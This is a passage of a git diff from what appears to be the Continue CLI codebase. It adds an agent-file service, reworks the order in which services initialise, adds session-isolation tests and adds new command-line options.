expect(agentFileState.agentFile).toBeNull(); + + // Model service should work normally + await modelService.initialize( + mockAssistant as any, + mockAuthConfig as any, + ); + expect(mockGetLlmApi).toHaveBeenCalled(); + }); + + it("should handle package identifier decoding errors gracefully", async () => { + // Mock decoding to throw an error + mockDecodePackageIdentifier.mockImplementation((id: string) => { + if (id === "invalid-rule") { + throw new Error("Invalid package identifier"); + } + return { type: "slug", slug: id, version: undefined }; + }); + + const agentFileStateWithInvalidRules = { + agentFile: mockAgentFile, + parsedRules: ["invalid-rule"], // This will throw an error when decoded + parsedTools: null, + slug: null, + agentFileModel: null, + }; + + const baseOptions = {}; + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileStateWithInvalidRules, + ); + + // Should handle the error gracefully and only include valid package identifiers + expect(injected).toHaveLength(1); // Only the model should be included + expect(additional.rules).toHaveLength(0); + }); + + // Removed test for missing service container since agent file service + // should always be initialized before ConfigEnhancer is called + + it("should inject agent file prompt when agent file active", async () => { + // Setup agent file service with active agent file + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + + // Mock the required service states + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + const baseOptions = {}; + const agentFileState = agentFileService.getState(); + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileState, + ); + + // Agent file prompt should be added to additional.prompts + expect(additional.prompts).toBeDefined(); + expect(additional.prompts?.length).toBeGreaterThan(0); + expect(additional.prompts?.[0]).toMatchObject({ + prompt: "You are an assistant.", + name: expect.stringContaining("Test Agent"), + }); + }); + + it("should prepare agent file prompt for merging with other prompts", async () => { + // Setup agent file service with active agent file + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + + // Mock the required service states + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + const baseOptions = {}; + const agentFileState = agentFileService.getState(); + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileState, + ); + + // Agent file prompt should be in additional block ready for merging + expect(additional.prompts).toHaveLength(1); + expect(additional.prompts?.[0]).toMatchObject({ + name: expect.stringContaining("Test Agent"), + prompt: "You are an assistant.", + }); + + // mergeUnrolledAssistants would combine this with base config prompts + const { mergeUnrolledAssistants } = await import( + "@continuedev/config-yaml" + ); + const baseConfig = { + name: "original", + version: "1.0.0", + prompts: [{ name: "Existing", prompt: "existing-prompt" }], + }; + + const merged = mergeUnrolledAssistants(baseConfig, additional); + expect(merged.prompts).toHaveLength(2); + }); + + it("should not add agent file prompt when agent file has no prompt", async () => { + const agentFileWithoutPrompt = { + ...mockAgentFile, + prompt: "", + }; + + const agentFileStateWithoutPrompt = { + agentFile: agentFileWithoutPrompt, + parsedRules: [], + parsedTools: null, + slug: null, + agentFileModel: null, + }; + + const baseOptions = {}; + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileStateWithoutPrompt, + ); + + // Should not have any prompts in additional block + expect(additional.prompts).toHaveLength(0); + }); + }); + + describe("ConfigService prompt integration", () => { + it("should process agent file prompt and user prompts together", async () => { + // Setup agent file service with active agent file + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + + // Mock the required service states + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + const baseOptions = { prompt: ["user-prompt"] }; + const agentFileState = agentFileService.getState(); + + // Process options with ConfigService + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileState, + ); + + // Verify that the agent file prompt was added to additional block + expect(additional.prompts).toBeDefined(); + expect(additional.prompts).toHaveLength(1); + expect(additional.prompts?.[0]).toMatchObject({ + name: expect.stringContaining("Test Agent"), + prompt: "You are an assistant.", + description: "A test agent for integration testing", + }); + + // User prompts should be in additional.rules as string rules + expect(additional.rules).toContain("user-prompt"); + }); + + it("should work end-to-end with agent file prompt processing", async () => { + // Setup agent file service with active agent file + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + + // Mock the required service states + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + const agentFileState = agentFileService.getState(); + expect(agentFileState.agentFile?.prompt).toBe("You are an assistant."); + + const baseOptions = { prompt: ["Tell me about TypeScript"] }; + + // Process with ConfigService + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileState, + ); + + // Verify agent file prompt is prepared for merging + expect(additional.prompts).toBeDefined(); + expect(additional.prompts?.length).toBeGreaterThan(0); + expect(additional.prompts?.[0]?.prompt).toBe("You are an assistant."); + expect(additional.prompts?.[0]?.name).toContain("Test Agent"); + + // User prompt should be a string rule + expect(additional.rules).toContain("Tell me about TypeScript"); + }); + }); + + describe("Agent file data extraction", () => { + it("should correctly extract all agent file properties", async () => { + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + + // Mock the required service states + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + const agentFileState = agentFileService.getState(); + expect(agentFileState.agentFile?.model).toBe("gpt-4-agent"); + expect(agentFileState.agentFile?.tools).toBe("bash,read,write"); + expect(agentFileState.agentFile?.rules).toBe( + "Always be helpful and concise", + ); + expect(agentFileState.agentFile?.prompt).toBe("You are an assistant."); + expect(agentFileState.slug).toBe("owner/agent"); + }); + + it("should handle partial agent file data", async () => { + const partialAgentFile = { + name: "Partial Agent File", + model: "gpt-3.5-turbo", + prompt: "Partial prompt", + // No tools or rules + }; + + mockLoadPackageFromHub.mockResolvedValue(partialAgentFile); + + // Mock the required service states + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/partial", + authServiceState, + apiClientState, + ); + + const agentFileState = agentFileService.getState(); + expect(agentFileState.agentFile?.model).toBe("gpt-3.5-turbo"); + expect(agentFileState.agentFile?.tools).toBeUndefined(); + expect(agentFileState.agentFile?.rules).toBeUndefined(); + expect(agentFileState.agentFile?.prompt).toBe("Partial prompt"); + }); + }); + + describe("Agent file tools integration", () => { + it("should inject MCP servers from agent file tools", async () => { + const agentFileStateWithTools = { + agentFile: { + ...mockAgentFile, + tools: "owner/mcp1, another/mcp2:specific_tool", + }, + parsedRules: [], + parsedTools: { + mcpServers: ["owner/mcp1", "another/mcp2"], // Parsed MCP servers + tools: [], + allBuiltIn: false, + }, + slug: null, + agentFileModel: null, + }; + + const baseOptions = {}; + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileStateWithTools, + ); + + // MCP servers should be processed as package identifiers + expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("owner/mcp1"); + expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("another/mcp2"); + expect(injected).toHaveLength(3); // model + 2 MCP servers + }); + + it("should not inject MCP servers when agent file has no tools", async () => { + const agentFileStateWithoutTools = { + agentFile: { + ...mockAgentFile, + tools: undefined, + }, + parsedRules: [], + parsedTools: null, + slug: null, + agentFileModel: null, + }; + + const baseOptions = {}; + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileStateWithoutTools, + ); + + // Should only have the model, no MCP servers + expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("gpt-4-agent"); // Only model + expect(injected).toHaveLength(1); // Only model + expect(additional.mcpServers).toHaveLength(0); + }); + + it("should handle deduplicated MCP servers from parsing", async () => { + const agentFileStateWithDuplicateTools = { + agentFile: { + ...mockAgentFile, + tools: "owner/mcp1, owner/mcp1:tool1, owner/mcp1:tool2", + }, + parsedRules: [], + parsedTools: { + mcpServers: ["owner/mcp1"], // parseAgentFileTools already deduplicated + tools: [], + allBuiltIn: false, + }, + slug: null, + agentFileModel: null, + }; + + const baseOptions = {}; + + const { injected, additional } = + configService.getAdditionalBlocksFromOptions( + baseOptions, + agentFileStateWithDuplicateTools, + ); + + // Should only process the deduplicated MCP server once + expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("owner/mcp1"); + expect(injected).toHaveLength(2); // model + deduplicated MCP server + }); + }); +}); diff --git a/extensions/cli/src/services/index.initialization.test.ts b/extensions/cli/src/services/index.initialization.test.ts index 7aadcc57d..4d480dfcb 100644 --- a/extensions/cli/src/services/index.initialization.test.ts +++ b/extensions/cli/src/services/index.initialization.test.ts @@ -3,21 +3,13 @@ import { beforeEach, describe, expect, it } from "vitest"; import { serviceContainer } from "./ServiceContainer.js"; import type { ToolPermissionServiceState } from "./ToolPermissionService.js"; -import { initializeServices, getServiceSync, SERVICE_NAMES } from "./index.js"; +import { getServiceSync, initializeServices, SERVICE_NAMES } from "./index.js"; describe("Service Initialization", () => { beforeEach(() => { // Clean up service container state - const services = [ - SERVICE_NAMES.TOOL_PERMISSIONS, - SERVICE_NAMES.AUTH, - SERVICE_NAMES.API_CLIENT, - SERVICE_NAMES.CONFIG, - SERVICE_NAMES.MODEL, - SERVICE_NAMES.MCP, - ]; - services.forEach((service) => { + Object.keys(SERVICE_NAMES).forEach((service) => { // Reset service state (serviceContainer as any).services.delete(service); (serviceContainer as any).factories.delete(service); diff --git a/extensions/cli/src/services/index.test.ts b/extensions/cli/src/services/index.test.ts index 6978ced90..3e80fdf67 100644 --- a/extensions/cli/src/services/index.test.ts +++ b/extensions/cli/src/services/index.test.ts @@ -1,90 +1,13 @@ import { vi } from "vitest"; -import { modeService } from "./ModeService.js"; -import { serviceContainer } from "./ServiceContainer.js"; +import { MCPService } from "./MCPService.js"; -import { initializeServices } from "./index.js"; - -// Mock the onboarding module -vi.mock("../onboarding.js", () => ({ - initializeWithOnboarding: vi.fn().mockResolvedValue({ wasOnboarded: false }), - createOrUpdateConfig: vi.fn().mockResolvedValue(undefined), -})); - -// Mock auth module -vi.mock("../auth/workos.js", () => ({ - loadAuthConfig: vi.fn().mockReturnValue({}), -})); +import { initializeServices, services } from "./index.js"; describe("initializeServices", () => { - let mockModeService: any; - let mockServiceContainer: any; - - beforeEach(() => { - // Reset all mocks - vi.clearAllMocks(); - - // Create mock mode service - mockModeService = { - initialize: vi.fn(), - getCurrentMode: vi.fn(), - getToolPermissionService: vi.fn().mockReturnValue({ - getState: vi.fn().mockReturnValue({ - currentMode: "normal", - isHeadless: false, - permissions: { policies: [] }, - }), - }), - }; - - // Create mock service container - mockServiceContainer = { - registerValue: vi.fn(), - register: vi.fn(), - initializeAll: vi.fn().mockResolvedValue(undefined), - }; - - // Set up mocks - (modeService as any).initialize = mockModeService.initialize; - (modeService as any).getCurrentMode = mockModeService.getCurrentMode; - (modeService as any).getToolPermissionService = - mockModeService.getToolPermissionService; - - // Mock serviceContainer methods - (serviceContainer as any).registerValue = - mockServiceContainer.registerValue; - (serviceContainer as any).register = mockServiceContainer.register; - (serviceContainer as any).initializeAll = - mockServiceContainer.initializeAll; - }); - - afterEach(() => { - vi.restoreAllMocks(); - }); - describe("mode conversion", () => { - it("should pass only readonly flag for plan mode", async () => { - await initializeServices({ - headless: true, // Skip onboarding - toolPermissionOverrides: { - mode: "plan", - allow: ["tool1"], - ask: ["tool2"], - exclude: ["tool3"], - }, - }); - - expect(mockModeService.initialize).toHaveBeenCalledWith({ - allow: ["tool1"], - ask: ["tool2"], - exclude: ["tool3"], - readonly: true, - isHeadless: true, - // auto should NOT be set - }); - }); - it("should pass only auto flag for auto mode", async () => { + const spy = vi.spyOn(services.toolPermissions, "initialize"); await initializeServices({ headless: true, // Skip onboarding toolPermissionOverrides: { @@ -95,63 +18,28 @@ describe("initializeServices", () => { }, }); - expect(mockModeService.initialize).toHaveBeenCalledWith({ - allow: ["tool1"], - ask: ["tool2"], - exclude: ["tool3"], - auto: true, - isHeadless: true, - // readonly should NOT be set - }); - }); - - it("should pass no mode flags for normal mode", async () => { - await initializeServices({ - headless: true, // Skip onboarding - toolPermissionOverrides: { - mode: "normal", + expect(spy).toHaveBeenCalledWith( + { allow: ["tool1"], ask: ["tool2"], exclude: ["tool3"], + mode: "auto", + isHeadless: true, }, - }); - - expect(mockModeService.initialize).toHaveBeenCalledWith({ - allow: ["tool1"], - ask: ["tool2"], - exclude: ["tool3"], - isHeadless: true, - // Neither readonly nor auto should be set - }); - }); - - it("should pass no mode flags when mode is undefined", async () => { - await initializeServices({ - headless: true, // Skip onboarding - toolPermissionOverrides: { - allow: ["tool1"], - ask: ["tool2"], - exclude: ["tool3"], + { + slug: null, + agentFile: null, + agentFileModel: null, + parsedRules: null, + parsedTools: null, }, - }); - - expect(mockModeService.initialize).toHaveBeenCalledWith({ - allow: ["tool1"], - ask: ["tool2"], - exclude: ["tool3"], - isHeadless: true, - // Neither readonly nor auto should be set - }); - }); - - it("should call initialize with defaults when no toolPermissionOverrides provided", async () => { - await initializeServices({ - headless: true, // Skip onboarding - }); - - expect(mockModeService.initialize).toHaveBeenCalledWith({ - isHeadless: true, - }); + { + connections: [], + mcpService: expect.any(MCPService), + prompts: [], + tools: [], + }, + ); }); }); }); diff --git a/extensions/cli/src/services/index.ts b/extensions/cli/src/services/index.ts index d46960ddd..0f5a1face 100644 --- a/extensions/cli/src/services/index.ts +++ b/extensions/cli/src/services/index.ts @@ -2,6 +2,7 @@ import { loadAuthConfig } from "../auth/workos.js"; import { initializeWithOnboarding } from "../onboarding.js"; import { logger } from "../util/logger.js"; +import { AgentFileService } from "./AgentFileService.js"; import { ApiClientService } from "./ApiClientService.js"; import { AuthService } from "./AuthService.js"; import { ChatHistoryService } from "./ChatHistoryService.js"; @@ -9,18 +10,21 @@ import { ConfigService } from "./ConfigService.js"; import { FileIndexService } from "./FileIndexService.js"; import { MCPService } from "./MCPService.js"; import { ModelService } from "./ModelService.js"; -import { modeService } from "./ModeService.js"; import { ResourceMonitoringService } from "./ResourceMonitoringService.js"; import { serviceContainer } from "./ServiceContainer.js"; import { StorageSyncService } from "./StorageSyncService.js"; -import { systemMessageService } from "./SystemMessageService.js"; +import { SystemMessageService } from "./SystemMessageService.js"; import { + InitializeToolServiceOverrides, + ToolPermissionService, +} from "./ToolPermissionService.js"; +import { + AgentFileServiceState, ApiClientServiceState, AuthServiceState, ConfigServiceState, SERVICE_NAMES, ServiceInitOptions, - ServiceInitResult, } from "./types.js"; import { UpdateService } from "./UpdateService.js"; @@ -35,28 +39,22 @@ const resourceMonitoringService = new ResourceMonitoringService(); const chatHistoryService = new ChatHistoryService(); const updateService = new UpdateService(); const storageSyncService = new StorageSyncService(); +const agentFileService = new AgentFileService(); +const toolPermissionService = new ToolPermissionService(); +const systemMessageService = new SystemMessageService(); /** * Initialize all services and register them with the service container * Handles onboarding internally for TUI mode unless skipOnboarding is true */ -export async function initializeServices( - initOptions: ServiceInitOptions = {}, -): Promise { +export async function initializeServices(initOptions: ServiceInitOptions = {}) { logger.debug("Initializing service registry"); - let wasOnboarded = false; const commandOptions = initOptions.options || {}; - // Handle onboarding for TUI mode (headless: false) unless explicitly skipped if (!initOptions.headless && !initOptions.skipOnboarding) { const authConfig = loadAuthConfig(); - const onboardingResult = await initializeWithOnboarding( - authConfig, - commandOptions.config, - commandOptions.rule, - ); - wasOnboarded = onboardingResult.wasOnboarded; + await initializeWithOnboarding(authConfig, commandOptions.config); } // Handle ANTHROPIC_API_KEY in headless mode when no config path is provided @@ -76,69 +74,11 @@ export async function initializeServices( commandOptions.config = CONFIG_PATH; } - // Initialize mode service with tool permission overrides - if (initOptions.toolPermissionOverrides) { - const overrides = { ...initOptions.toolPermissionOverrides }; - - // Convert mode to boolean flags for ModeService - const initArgs: Parameters[0] = { - allow: overrides.allow, - ask: overrides.ask, - exclude: overrides.exclude, - isHeadless: initOptions.headless, - }; - - // Only set the boolean flag that corresponds to the mode - if (overrides.mode === "plan") { - initArgs.readonly = true; - } else if (overrides.mode === "auto") { - initArgs.auto = true; - } - // If mode is "normal" or undefined, no flags are set - - await modeService.initialize(initArgs); - } else { - // Even if no overrides, we need to initialize with defaults - await modeService.initialize({ - isHeadless: initOptions.headless, - }); - } - - // Register the TOOL_PERMISSIONS service with immediate value - // Since ToolPermissionService is already initialized synchronously in ModeService, - // we can register it as a ready value instead of a factory - const toolPermissionState = modeService.getToolPermissionService().getState(); - logger.debug("Registering TOOL_PERMISSIONS with state:", { - currentMode: toolPermissionState.currentMode, - isHeadless: toolPermissionState.isHeadless, - policyCount: toolPermissionState.permissions.policies.length, - }); - serviceContainer.registerValue( - SERVICE_NAMES.TOOL_PERMISSIONS, - toolPermissionState, - ); - - // Initialize SystemMessageService with command options - serviceContainer.register( - SERVICE_NAMES.SYSTEM_MESSAGE, - () => - systemMessageService.initialize({ - additionalRules: commandOptions.rule, - format: (commandOptions as any).format, // format option from CLI - headless: initOptions.headless, - }), - [], // No dependencies - ); - serviceContainer.register( SERVICE_NAMES.AUTH, - () => authService.initialize(), - [], // No dependencies - ); - - serviceContainer.register( - SERVICE_NAMES.UPDATE, - () => updateService.initialize(), + async () => { + return await authService.initialize(); + }, [], // No dependencies ); @@ -154,13 +94,92 @@ export async function initializeServices( ); serviceContainer.register( - SERVICE_NAMES.CONFIG, + SERVICE_NAMES.AGENT_FILE, async () => { const [authState, apiClientState] = await Promise.all([ serviceContainer.get(SERVICE_NAMES.AUTH), serviceContainer.get(SERVICE_NAMES.API_CLIENT), ]); + return await agentFileService.initialize( + commandOptions.agent, + authState, + apiClientState, + ); + }, + [SERVICE_NAMES.AUTH, SERVICE_NAMES.API_CLIENT], + ); + + serviceContainer.register( + SERVICE_NAMES.TOOL_PERMISSIONS, + async () => { + const [mcpState, agentFileState] = await Promise.all([ + serviceContainer.get(SERVICE_NAMES.MCP), + serviceContainer.get(SERVICE_NAMES.AGENT_FILE), + ]); + + // Initialize mode service with tool permission overrides + if (initOptions.toolPermissionOverrides) { + const overrides = { ...initOptions.toolPermissionOverrides }; + + // Convert mode to boolean flags for ModeService + const initArgs: InitializeToolServiceOverrides = { + allow: overrides.allow, + ask: overrides.ask, + exclude: overrides.exclude, + isHeadless: initOptions.headless, + }; + // Only set the boolean flag that corresponds to the mode + if (overrides.mode) { + initArgs.mode = overrides.mode; + } + // If mode is "normal" or undefined, no flags are set + return await toolPermissionService.initialize( + initArgs, + agentFileState, + mcpState, + ); + } else { + // Even if no overrides, we need to initialize with defaults + return await toolPermissionService.initialize( + { + isHeadless: initOptions.headless, + }, + agentFileState, + mcpState, + ); + } + }, + [SERVICE_NAMES.AGENT_FILE, SERVICE_NAMES.MCP], + ); + + // Initialize SystemMessageService with command options + serviceContainer.register( + SERVICE_NAMES.SYSTEM_MESSAGE, + () => + systemMessageService.initialize({ + additionalRules: commandOptions.rule, + format: (commandOptions as any).format, // format option from CLI + headless: initOptions.headless, + }), + [SERVICE_NAMES.TOOL_PERMISSIONS], + ); + + serviceContainer.register( + SERVICE_NAMES.UPDATE, + () => updateService.initialize(), + [], // No dependencies + ); + + serviceContainer.register( + SERVICE_NAMES.CONFIG, + async () => { + const [authState, apiClientState, agentFileState] = await Promise.all([ + serviceContainer.get(SERVICE_NAMES.AUTH), + serviceContainer.get(SERVICE_NAMES.API_CLIENT), + serviceContainer.get(SERVICE_NAMES.AGENT_FILE), + ]); + // Ensure organization is selected if authenticated let finalAuthState = authState; if (authState.authConfig) { @@ -198,32 +217,39 @@ export async function initializeServices( } } - return configService.initialize( - finalAuthState.authConfig, + return await configService.initialize({ + authConfig: finalAuthState.authConfig, configPath, - finalAuthState.organizationId || null, - apiClientState.apiClient, - commandOptions, - ); + // organizationId: finalAuthState.organizationId || null, + apiClient: apiClientState.apiClient, + agentFileState, + injectedConfigOptions: commandOptions, + isHeadless: initOptions.headless, + }); }, - [SERVICE_NAMES.AUTH, SERVICE_NAMES.API_CLIENT], // Depends on auth and API client + [SERVICE_NAMES.AUTH, SERVICE_NAMES.API_CLIENT, SERVICE_NAMES.AGENT_FILE], // Dependencies ); serviceContainer.register( SERVICE_NAMES.MODEL, async () => { - const [configState, authState] = await Promise.all([ + const [configState, authState, agentFileState] = await Promise.all([ serviceContainer.get(SERVICE_NAMES.CONFIG), serviceContainer.get(SERVICE_NAMES.AUTH), + serviceContainer.get(SERVICE_NAMES.AGENT_FILE), ]); if (!configState.config) { throw new Error("Config not available"); } - return modelService.initialize(configState.config, authState.authConfig); + return modelService.initialize( + configState.config, + authState.authConfig, + agentFileState, + ); }, - [SERVICE_NAMES.CONFIG, SERVICE_NAMES.AUTH], // Depends on config and auth + [SERVICE_NAMES.CONFIG, SERVICE_NAMES.AUTH, SERVICE_NAMES.AGENT_FILE], // Depends on config, auth, and agentFile ); serviceContainer.register( @@ -236,7 +262,10 @@ export async function initializeServices( if (!configState.config) { throw new Error("Config not available for MCP service"); } - return mcpService.initialize(configState.config, initOptions.headless); + return mcpService.initialize( + configState.config, + initOptions.headless || initOptions.options?.agent, + ); }, [SERVICE_NAMES.CONFIG], // Depends on config ); @@ -270,8 +299,6 @@ export async function initializeServices( await serviceContainer.initializeAll(); logger.debug("Service registry initialized"); - - return { wasOnboarded }; } /** @@ -321,12 +348,13 @@ export const services = { apiClient: apiClientService, mcp: mcpService, fileIndex: fileIndexService, - mode: modeService, resourceMonitoring: resourceMonitoringService, systemMessage: systemMessageService, chatHistory: chatHistoryService, updateService: updateService, storageSync: storageSyncService, + agentFile: agentFileService, + toolPermissions: toolPermissionService, } as const; // Export the service container for advanced usage diff --git a/extensions/cli/src/services/types.ts b/extensions/cli/src/services/types.ts index ae5262cae..8de9f26d9 100644 --- a/extensions/cli/src/services/types.ts +++ b/extensions/cli/src/services/types.ts @@ -1,4 +1,10 @@ -import { AssistantUnrolled, ModelConfig } from "@continuedev/config-yaml"; +import { + AgentFile, + AssistantUnrolled, + ModelConfig, + parseAgentFileRules, + parseAgentFileTools, +} from "@continuedev/config-yaml"; import { BaseLlmApi } from "@continuedev/openai-adapters"; import { AssistantConfig } from "@continuedev/sdk"; import { DefaultApiInterface } from "@continuedev/sdk/dist/api/dist/index.js"; @@ -6,9 +12,9 @@ import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { AuthConfig } from "../auth/workos.js"; import { BaseCommandOptions } from "../commands/BaseCommandOptions.js"; -import { PermissionMode, ToolPermissions } from "../permissions/types.js"; +import { PermissionMode } from "../permissions/types.js"; -import { MCPService } from "./MCPService.js"; +import { type MCPService } from "./MCPService.js"; /** * Service lifecycle states @@ -104,13 +110,6 @@ export interface ApiClientServiceState { apiClient: DefaultApiInterface | null; } -export interface ToolPermissionServiceState { - permissions: ToolPermissions; - currentMode: PermissionMode; - modePolicyCount?: number; - originalPolicies?: ToolPermissions; -} - export interface StorageSyncServiceState { isEnabled: boolean; storageId?: string; @@ -118,6 +117,14 @@ export interface StorageSyncServiceState { lastError?: string | null; } +export interface AgentFileServiceState { + agentFile: AgentFile | null; + slug: string | null; + agentFileModel: ModelConfig | null; + parsedTools: ReturnType | null; + parsedRules: ReturnType | null; +} + export type { ChatHistoryState } from "./ChatHistoryService.js"; export type { FileIndexServiceState } from "./FileIndexService.js"; @@ -137,6 +144,7 @@ export const SERVICE_NAMES = { CHAT_HISTORY: "chatHistory", UPDATE: "update", STORAGE_SYNC: "storageSync", + AGENT_FILE: "agentFile", } as const; /** diff --git a/extensions/cli/src/session.test.ts b/extensions/cli/src/session.test.ts index 0fb5f4525..9ca3b4bd5 100644 --- a/extensions/cli/src/session.test.ts +++ b/extensions/cli/src/session.test.ts @@ -360,7 +360,7 @@ describe("SessionManager", () => { const firstSession = createSession(); const firstSessionId = firstSession.sessionId; - vi.mocked(uuidv4).mockReturnValue("new-uuid-456" as any); + vi.mocked(uuidv4).mockReturnValue("new-uuid-456"); const secondSession = startNewSession(); @@ -381,7 +381,7 @@ describe("SessionManager", () => { }, ]; - vi.mocked(uuidv4).mockReturnValue("new-uuid-789" as any); + vi.mocked(uuidv4).mockReturnValue("new-uuid-789"); const session = startNewSession(history); @@ -392,7 +392,7 @@ describe("SessionManager", () => { it("should set the new session as current", () => { const originalSession = createSession(); - vi.mocked(uuidv4).mockReturnValue("new-session-id" as any); + vi.mocked(uuidv4).mockReturnValue("new-session-id"); const newSession = startNewSession(); const currentSession = getCurrentSession(); @@ -401,4 +401,100 @@ describe("SessionManager", () => { expect(currentSession).not.toBe(originalSession); }); }); + + describe("session isolation", () => { + it("should not pollute new sessions with previous session history", () => { + // Simulate first CLI session + vi.mocked(uuidv4).mockReturnValue("session-1"); + const session1 = createSession(); + const history1: ChatHistoryItem[] = [ + { + message: { + role: "user", + content: "Tell me about dogs", + }, + contextItems: [], + }, + { + message: { + role: "assistant", + content: "Dogs are loyal companions...", + }, + contextItems: [], + }, + ]; + updateSessionHistory(history1); + + // Simulate starting a new CLI session (without --resume) + vi.mocked(uuidv4).mockReturnValue("session-2"); + const session2 = startNewSession([]); + + // New session should have clean state + expect(session2.sessionId).toBe("session-2"); + expect(session2.sessionId).not.toBe(session1.sessionId); + expect(session2.history).toEqual([]); + expect(session2.history.length).toBe(0); + }); + + it("should create independent sessions for concurrent operations", () => { + // Create first session with some data + vi.mocked(uuidv4).mockReturnValue("concurrent-1"); + const session1 = createSession(); + updateSessionTitle("Session 1"); + updateSessionHistory([ + { + message: { + role: "user", + content: "First session message", + }, + contextItems: [], + }, + ]); + + // Start a new session + vi.mocked(uuidv4).mockReturnValue("concurrent-2"); + const session2 = startNewSession([]); + + // Verify session2 is clean + expect(session2.title).toBe("Untitled Session"); + expect(session2.history).toEqual([]); + expect(session2.sessionId).not.toBe(session1.sessionId); + }); + + it("should properly clear session state when transitioning between sessions", () => { + // First session with complex history + vi.mocked(uuidv4).mockReturnValue("complex-session-1"); + const session1 = createSession(); + updateSessionTitle("Complex Session"); + const complexHistory: ChatHistoryItem[] = [ + { + message: { + role: "user", + content: "What were we discussing?", + }, + contextItems: [], + }, + { + message: { + role: "assistant", + content: "We were discussing dogs earlier.", + }, + contextItems: [], + }, + ]; + updateSessionHistory(complexHistory); + + // Verify first session has data + expect(getCurrentSession().history.length).toBe(2); + + // Start fresh session + vi.mocked(uuidv4).mockReturnValue("fresh-session-2"); + const session2 = startNewSession([]); + + // Verify clean state + expect(session2.history.length).toBe(0); + expect(session2.title).toBe("Untitled Session"); + expect(getCurrentSession().sessionId).toBe("fresh-session-2"); + }); + }); }); diff --git a/extensions/cli/src/session.ts b/extensions/cli/src/session.ts index 1e1dfc480..94b60d823 100644 --- a/extensions/cli/src/session.ts +++ b/extensions/cli/src/session.ts @@ -161,6 +161,30 @@ export function getSessionPersistenceSnapshot(session: Session): Session { return modifySessionBeforeSave(session); } +/** + * Get the complete state snapshot that matches the /state endpoint format + */ +export interface StateSnapshot { + session: Session; + isProcessing: boolean; + messageQueueLength: number; + pendingPermission: any; +} + +export function getCompleteStateSnapshot( + session: Session, + isProcessing: boolean = false, + messageQueueLength: number = 0, + pendingPermission: any = null, +): StateSnapshot { + return { + session: getSessionPersistenceSnapshot(session), + isProcessing, + messageQueueLength, + pendingPermission, + }; +} + /** * Save the current session to file */ @@ -313,15 +337,11 @@ export async function getRemoteSessions(): Promise { const authConfig = loadAuthConfig(); const accessToken = getAccessToken(authConfig); - if ( - !accessToken || - !isAuthenticatedConfig(authConfig) || - !authConfig.userEmail.endsWith("@continue.dev") - ) { + if (!accessToken || !isAuthenticatedConfig(authConfig)) { return []; } - const response = await fetch(new URL("agents/devboxes", env.apiBase), { + const response = await fetch(new URL("agents", env.apiBase), { method: "GET", headers: { "Content-Type": "application/json", diff --git a/extensions/cli/src/shared-options.ts b/extensions/cli/src/shared-options.ts index 31572949d..43f00b2db 100644 --- a/extensions/cli/src/shared-options.ts +++ b/extensions/cli/src/shared-options.ts @@ -14,6 +14,7 @@ export function addCommonOptions(command: Command): Command { .option("--readonly", "Start in plan mode (read-only tools)") .option("--auto", "Start in auto mode (all tools allowed)") .option("--verbose", "Enable verbose logging") + .option("--beta-status-tool", "Enable beta status tool") .option( "--rule ", "Add a rule (can be a file path, hub slug, or string content). Can be specified multiple times.", @@ -83,6 +84,10 @@ export function addCommonOptions(command: Command): Command { return array; }, [] as string[], + ) + .option( + "--agent ", + "Load agent file from the hub (slug in format 'owner/package')", ); } @@ -106,6 +111,7 @@ export function mergeParentOptions(parentCommand: Command, options: any): any { "allow", "ask", "exclude", + "agent", ]; for (const optName of inheritableOptions) { diff --git a/extensions/cli/src/slashCommands.info.test.ts b/extensions/cli/src/slashCommands.info.test.ts index 637edcf92..e98788038 100644 --- a/extensions/cli/src/slashCommands.info.test.ts +++ b/extensions/cli/src/slashCommands.info.test.ts @@ -9,7 +9,11 @@ import * as versionModule from "./version.js"; // Mock all dependencies vi.mock("./auth/workos.js"); -vi.mock("./version.js"); +vi.mock("./version.js", () => ({ + getVersion: vi.fn(() => "1.2.3"), + getLatestVersion: vi.fn(() => Promise.resolve(null)), + compareVersions: vi.fn(() => "same"), +})); vi.mock("./session.js"); vi.mock("./telemetry/posthogService.js"); diff --git a/extensions/cli/src/slashCommands.test.ts b/extensions/cli/src/slashCommands.test.ts index f6db2be36..30df8e832 100644 --- a/extensions/cli/src/slashCommands.test.ts +++ b/extensions/cli/src/slashCommands.test.ts @@ -335,5 +335,99 @@ describe("slashCommands", () => { ); expect(result?.exit).toBe(false); }); + + it("should handle custom assistant 